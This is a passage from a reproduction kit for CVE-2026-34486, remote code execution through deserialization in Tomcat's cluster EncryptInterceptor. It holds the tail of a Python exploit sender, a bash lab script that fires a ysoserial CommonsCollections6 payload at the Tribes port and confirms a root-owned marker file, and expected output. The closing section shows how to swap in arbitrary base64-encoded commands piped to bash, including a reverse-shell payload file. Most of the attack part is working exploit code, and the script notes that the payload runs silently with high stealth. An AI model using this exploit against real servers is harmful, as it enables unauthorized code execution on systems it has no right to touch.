packet = START_DATA + struct.pack(">i", len(channel_data)) + channel_data + END_DATA
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((target_ip, target_port))
sock.sendall(packet)
try:
sock.recv(4096)
except socket.timeout:
pass
sock.close()
if __name__ == '__main__':
send_exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], int(sys.argv[4]))
PYEXPLOIT
chmod +x "$WORKDIR/exploit.py"
# 发送攻击
info "发送攻击 Payload 到 ${LOCAL_IP}:${NODE1_TRIBES_PORT}..."
python3 "$WORKDIR/exploit.py" "$LOCAL_IP" "$NODE1_TRIBES_PORT" "$WORKDIR/payload_touch.bin" "$NODE1_TRIBES_PORT"
info "等待攻击生效 (5秒)..."
sleep 5
# ==================== 8. 验证结果 ====================
info "步骤 8/8: 验证漏洞触发..."
echo ""
echo "======================================================================"
echo -e "${RED} CVE-2026-34486 复现结果${NC}"
echo "======================================================================"
echo ""
# 检查 RCE 标志文件
if [ -f "$RCE_MARKER" ]; then
echo -e " ${GREEN}✅ RCE 成功!${NC} 标志文件已创建:"
echo ""
ls -la "$RCE_MARKER"
echo ""
else
echo -e " ${RED}❌ RCE 未触发${NC},标志文件 ${RCE_MARKER} 不存在"
echo ""
fi
# 检查受害者日志
echo " 受害者日志 (解密失败记录):"
echo " ----------------------------------------------------------------------"
grep -A3 "Failed to decrypt" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -8 || echo " (未找到解密失败日志)"
echo ""
echo " 受害者日志 (EncryptInterceptor 启动确认):"
echo " ----------------------------------------------------------------------"
grep "EncryptInterceptor" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -3 || echo " (未找到 EncryptInterceptor 日志)"
echo ""
echo " 受害者日志 (集群成员发现):"
echo " ----------------------------------------------------------------------"
grep "memberAdded" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -2 || echo " (未找到集群成员日志)"
echo ""
# 检查是否有反序列化异常(不应该有)
if grep -q "InvalidClassException\|ClassNotFoundException\|serialization" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null; then
echo -e " ${YELLOW}[!] 检测到反序列化异常日志(可能 gadget chain 不兼容)${NC}"
else
echo -e " ${GREEN}✅ 无反序列化异常日志 — payload 静默执行(攻击隐蔽性极高)${NC}"
fi
echo ""
echo "======================================================================"
echo ""
echo " 环境信息:"
echo " - 工作目录: ${WORKDIR}"
echo " - Node1: HTTP ${NODE1_HTTP_PORT}, Tribes TCP ${NODE1_TRIBES_PORT}"
echo " - Node2: HTTP ${NODE2_HTTP_PORT}, Tribes TCP ${NODE2_TRIBES_PORT}"
echo " - Tomcat 版本: ${TOMCAT_VERSION} (漏洞版本)"
echo " - RCE 标志: ${RCE_MARKER}"
echo ""
echo " 清理命令:"
echo " cd ${WORKDIR}/tomcat-node1 && bin/shutdown.sh"
echo " cd ${WORKDIR}/tomcat-node2 && bin/shutdown.sh"
echo " rm -f ${RCE_MARKER}"
echo " rm -rf ${WORKDIR}"
echo ""
echo "======================================================================"
Voraussetzungen:
Ausführungsmethode:```bash
chmod +x cve-2026-34486-repro.sh
sudo ./cve-2026-34486-repro.sh
**Skriptausführungsablauf**:
| Schritt | Inhalt | Beschreibung |
|------|------|------|
| 1 | Abhängigkeiten erkennen und installieren | JDK 11, Python3, wget usw. |
| 2 | Arbeitsverzeichnis erstellen | `/opt/cve-2026-34486-lab` |
| 3 | Tomcat 9.0.116 herunterladen | Verwundbare Version, zweimal entpacken |
| 4 | Gadget-Bibliothek installieren | Commons Collections 3.1 → lib/ |
| 5 | ysoserial herunterladen | Tool zur Generierung von Deserialisierungs-Payloads |
| 6 | Cluster konfigurieren | server.xml + EncryptInterceptor + web.xml |
| 7 | Cluster starten und angreifen | Starten → CC6-Payload generieren → Python-PoC senden |
| 8 | Ergebnis verifizieren | RCE-Markierungsdatei + Opferprotokolle prüfen |
**Erwartete Ausgabe**:```
[*] 步骤 8/8: 验证漏洞触发...
======================================================================
CVE-2026-34486 复现结果
======================================================================
✅ RCE 成功! 标志文件已创建:
-rw-r----- 1 root root 0 Apr 15 03:46 /tmp/CVE-2026-34486-PWNED
受害者日志 (解密失败记录):
----------------------------------------------------------------------
SEVERE [Tribes-Task-Receiver...] EncryptInterceptor.messageReceived
Failed to decrypt message
javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16...
✅ 无反序列化异常日志 — payload 静默执行(攻击隐蔽性极高)
======================================================================
Benutzerdefinierte RCE-Befehle:
Zum Ändern des Angriffsbefehls bearbeiten Sie die Variable RCE_MARKER im Skript sowie den ysoserial-Generierungsbefehl, zum Beispiel:```bash
java -jar ysoserial.jar CommonsCollections6
"bash -c {echo,BASE64_ENCODED_COMMAND}|{base64,-d}|bash" \
payload_reverse.bin